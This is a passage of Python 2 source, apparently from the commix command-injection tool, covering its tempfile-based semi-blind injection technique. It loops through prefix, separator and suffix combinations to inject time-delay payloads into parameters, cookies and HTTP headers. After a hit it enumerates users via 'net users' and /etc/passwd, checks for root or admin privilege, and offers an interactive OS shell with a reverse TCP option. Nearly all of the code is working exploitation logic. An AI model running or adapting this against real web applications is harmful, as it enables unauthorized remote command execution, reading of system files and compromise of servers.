check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, whitespace,
timesec, http_request_method, url, vuln_parameter,
OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
session_handler.store_cmd(url, cmd, output, vuln_parameter)
_ = True
except TypeError:
output = ""
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
sys_users = output
# Windows users enumeration.
if settings.TARGET_OS == "win":
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
info_msg = "Executing the 'net users' command "
info_msg += "to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
sys_users_list = re.findall(r"(.*)", sys_users)
sys_users_list = "".join(str(p)
for p in sys_users_list).strip()
sys_users_list = ' '.join(sys_users_list.split())
sys_users_list = sys_users_list.split()
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1]
success_msg += " via 'net users' command.\n"
sys.stdout.write("\n" +
settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub(
"", settings.SUCCESS_SIGN) + success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
count = count + 1
if menu.options.privileges:
info_msg = "Confirming privileges of user '"
info_msg += sys_users_list[user] + "'... "
print(settings.print_info_msg(info_msg))
cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[
user] + ")[22..($(net user " + sys_users_list[
user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','').substring(0,6)"
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix,
whitespace, timesec, http_request_method, url,
vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
check_privs = output
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = re.findall(r"(.*)", check_privs)
check_privs = "".join(str(p)
for p in check_privs).strip()
check_privs = check_privs.split()
if "Admin" in check_privs[0]:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user"
is_privileged_nh = " is admin user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user"
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
print("\n (" + str(count) + ") '" + Style.BRIGHT +
sys_users_list[user] + Style.RESET_ALL + "'" +
Style.BRIGHT + is_privileged + Style.RESET_ALL + ".")
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) + ") " +
sys_users_list[user] + is_privileged +
".\n")
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
sys.stdout.flush()
warn_msg = "It seems that you don't have permissions to enumerate users entries."
print("\n" + settings.print_warning_msg(warn_msg))
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to enumerate users entries.\n"
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
# Unix-like users enumeration.
else:
if settings.VERBOSITY_LEVEL <= 1 and not menu.options.ignore_session and _:
print("")
info_msg = "Fetching '" + settings.PASSWD_FILE
info_msg += "' to enumerate users entries... "
sys.stdout.write(settings.print_info_msg(info_msg))
sys.stdout.flush()
try:
if sys_users[0]:
sys_users = "".join(str(p) for p in sys_users).strip()
if len(sys_users.split(" ")) <= 1:
sys_users = sys_users.split("\n")
else:
sys_users = sys_users.split(" ")
# Check for appropriate '/etc/passwd' format.
if len(sys_users) % 3 != 0:
sys.stdout.write("[ " + Fore.RED + "FAILED" +
Style.RESET_ALL + " ]")
sys.stdout.flush()
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is "
warn_msg += "not in the appropriate format. Thus, it is expoted as a text file."
print("\n" + settings.print_warning_msg(warn_msg))
sys_users = " ".join(str(p) for p in sys_users).strip()
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys_users_list = []
for user in range(0, len(sys_users), 3):
sys_users_list.append(sys_users[user:user + 3])
if len(sys_users_list) != 0:
sys.stdout.write("[ " + Fore.GREEN + "SUCCEED" +
Style.RESET_ALL + " ]")
success_msg = "Identified " + str(len(sys_users_list))
success_msg += " entr" + (
'ies', 'y')[len(sys_users_list) == 1]
success_msg += " in '" + settings.PASSWD_FILE + "'."
sys.stdout.write(
"\n" + settings.print_success_msg(success_msg))
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(
re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)
).sub("", settings.SUCCESS_SIGN) +
success_msg)
output_file.close()
count = 0
for user in range(0, len(sys_users_list)):
sys_users = sys_users_list[user]
sys_users = ":".join(str(p) for p in sys_users)
count = count + 1
fields = sys_users.split(":")
fields1 = "".join(str(p) for p in fields)
# System users privileges enumeration
try:
if not fields[2].startswith("/"):
raise ValueError()
if menu.options.privileges:
if int(fields[1]) == 0:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user "
is_privileged_nh = " is root user "
elif int(fields[1]) > 0 and int(
fields[1]) < 99:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user "
is_privileged_nh = " is system user "
elif int(fields[1]) >= 99 and int(
fields[1]) < 65534:
if int(fields[1]) == 99 or int(
fields[1]) == 60001 or int(
fields[1]) == 65534:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user "
is_privileged_nh = " is anonymous user "
elif int(fields[1]) == 60002:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user "
is_privileged_nh = " is non-trusted user "
else:
is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user "
is_privileged_nh = " is regular user "
else:
is_privileged = ""
is_privileged_nh = ""
else:
is_privileged = ""
is_privileged_nh = ""
sys.stdout.write("\n (" + str(count) +
") '" + Style.BRIGHT +
fields[0] + Style.RESET_ALL +
"'" + Style.BRIGHT +
is_privileged +
Style.RESET_ALL + "(uid=" +
fields[1] +
"). Home directory is in '" +
Style.BRIGHT + fields[2] +
Style.RESET_ALL + "'.")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (" + str(count) +
") '" + fields[0] + "'" +
is_privileged_nh + "(uid=" +
fields[1] +
"). Home directory is in '" +
fields[2] + "'.\n")
output_file.close()
except ValueError:
if count == 1:
warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the "
warn_msg += "appropriate format. Thus, it is expoted as a text file."
print(settings.print_warning_msg(warn_msg))
sys_users = " ".join(
str(p) for p in sys_users.split(":"))
print(sys_users)
output_file = open(filename, "a")
output_file.write(" " + sys_users)
output_file.close()
else:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "It seems that you don't have permissions to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
except TypeError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]\n")
sys.stdout.flush()
pass
except IndexError:
sys.stdout.write("[ " + Fore.RED + "FAILED" + Style.RESET_ALL +
" ]")
warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '"
warn_msg += settings.PASSWD_FILE + "' to enumerate users entries."
sys.stdout.write("\n" + settings.print_warning_msg(warn_msg))
sys.stdout.flush()
pass
def current_user(separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response):
if settings.TARGET_OS == "win":
settings.CURRENT_USER = settings.WIN_CURRENT_USER
cmd = settings.CURRENT_USER
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell,
filename, url_time_response)
cu_account = output
if cu_account:
print ""
cu_account = "".join(str(p) for p in cu_account)
# Check if the user have super privileges.
if menu.options.is_root or menu.options.is_admin:
if settings.TARGET_OS == "win":
cmd = settings.IS_ADMIN
else:
cmd = settings.IS_ROOT
check_how_long, output = tfb_injector.injection(
separator, maxlen, TAG, cmd, prefix, suffix, delay,
http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE,
alter_shell, filename, url_time_response)
shell = output
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n\n (!) The current user is " +
Style.UNDERLINE + cu_account + Style.RESET_ALL)
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account)
output_file.close()
if shell:
shell = "".join(str(p) for p in shell)
if (settings.TARGET_OS == "win" and not "Admin" in shell) or \
(settings.TARGET_OS != "win" and shell != "0"):
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + "not" +
Style.RESET_ALL + Style.BRIGHT +
" privileged" + Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is not privileged.\n")
output_file.close()
else:
sys.stdout.write(Style.BRIGHT + " and it is " +
Style.UNDERLINE + Style.RESET_ALL +
Style.BRIGHT + "privileged" +
Style.RESET_ALL + ".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" and it is privileged.\n")
output_file.close()
else:
if menu.options.verbose:
print ""
sys.stdout.write(Style.BRIGHT + "\n (!) The current user is " +
Style.UNDERLINE + cu_account + Style.RESET_ALL +
".\n")
sys.stdout.flush()
# Add infos to logs file.
output_file = open(filename, "a")
output_file.write(" (!) The current user is " + cu_account +
"\n")
output_file.close()
def tfb_injection_handler(url, delay, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
how_long_statistic = []
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print settings.print_critical_msg(err_msg)
whitespace = checks.check_whitespaces()
if settings.VERBOSITY_LEVEL >= 1:
info_msg ="Testing the " + technique + "... "
print settings.print_info_msg(info_msg)
# Calculate all possible combinations
total = (len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - len(settings.JUNK_COMBINATION))
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
if settings.LOAD_SESSION:
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, delay, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = re.sub(" ", whitespace, payload)
# Encode payload to Base64
if settings.TAMPER_SCRIPTS['base64encode']:
from src.core.tamper import base64encode
payload = base64encode.encode(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL >= 1:
payload_msg = payload.replace("\n", "\\n")
print settings.print_payload(payload_msg)
# Cookie Injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent Injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer Injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Custom HTTP header Injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom http header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if delay <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
sys.stdout.write(settings.print_question_msg(question_msg))
proceed_option = sys.stdin.readline().replace("\n","").lower()
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
delay = delay + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
if proceed_option == "":
proceed_option = "enter"
err_msg = "'" + proceed_option + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - delay
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 1)
randv2 = random.randrange(1, 2)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_DIR + "python.exe -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " + " + str(randv2) + "))"
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
else:
percent = ""
#break
else:
break
# False positive
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if not settings.VERBOSITY_LEVEL >= 1:
percent = str(float_percent)+ "%"
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if not settings.VERBOSITY_LEVEL >= 1:
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if not settings.VERBOSITY_LEVEL >= 1:
percent = Fore.RED + "FAILED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = str(float_percent) + "%"
#Print logs notification message
#percent = Fore.BLUE + "FINISHED" + Style.RESET_ALL
info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
print ""
logs.logs_notification(filename)
raise
else:
percent = str(float_percent) + "%"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - delay) >= 0) or \
(url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
(url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
if settings.LOAD_SESSION:
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method == "GET":
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
print ""
# Print the findings to terminal.
success_msg = "The"
if found_vuln_parameter == " ":
success_msg += http_request_method + ""
success_msg += the_type + header_name
success_msg += found_vuln_parameter + " seems injectable via "
success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print settings.print_success_msg(success_msg)
print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
question_msg = "Do you want to enumerate again? [Y/n/q] > "
enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if enumerate_again == "":
enumerate_again = "enter"
err_msg = "'" + enumerate_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print ""
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print ""
while True:
question_msg = "Do you want to access files again? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
file_access_again = sys.stdin.readline().replace("\n","").lower()
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if file_access_again == "":
file_access_again = "enter"
err_msg = "'" + file_access_again + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print ""
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
if not new_line :
print ""
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
sys.stdout.write(settings.print_question_msg(question_msg))
gotshell = sys.stdin.readline().replace("\n","").lower()
if gotshell in settings.CHOICE_YES:
print ""
print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
if readline_error:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
try:
# Tab compliter
if not readline_error:
readline.set_completer(menu.tab_completer)
# MacOSX tab compliter
if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr(readline, '__doc__', ''):
readline.parse_and_bind("bind ^I rl_complete")
# Unix tab compliter
else:
readline.parse_and_bind("tab: complete")
cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result)
if os_shell_option == False:
if no_result == True:
return False
else:
return True
elif os_shell_option == "quit":
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
elif os_shell_option == "back":
go_back = True
break
elif os_shell_option == "os_shell":
warn_msg = "You are already into an 'os_shell' mode."
print settings.print_warning_msg(warn_msg)+ "\n"
elif os_shell_option == "reverse_tcp":
settings.REVERSE_TCP = True
# Set up LHOST / LPORT for The reverse TCP connection.
reverse_tcp.configure_reverse_tcp()
if settings.REVERSE_TCP == False:
continue
while True:
if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
result = checks.check_reverse_tcp_options(settings.LHOST)
else:
cmd = reverse_tcp.reverse_tcp_options()
result = checks.check_reverse_tcp_options(cmd)
if result != None:
if result == 0:
return False
elif result == 1 or result == 2:
go_back_again = True
settings.REVERSE_TCP = False
break
# Command execution results.
from src.core.injections.results_based.techniques.classic import cb_injector
separator = checks.time_based_separators(separator, http_request_method)
whitespace = settings.WHITESPACE[0]
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Evaluate injection results.
shell = cb_injector.injection_results(response, TAG, cmd)
if settings.VERBOSITY_LEVEL >= 1:
print ""
err_msg = "The reverse TCP connection has been failed!"
print settings.print_critical_msg(err_msg)
else:
pass
else:
print ""
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
print Fore.GREEN + Style.BRIGHT + output + "\n" + Style.RESET_ALL
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
sys.exit(0)
else:
if gotshell == "":
gotshell = "enter"
err_msg = "'" + gotshell + "' is not a valid answer."
print settings.print_error_msg(err_msg)
pass
except KeyboardInterrupt:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
print ""
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
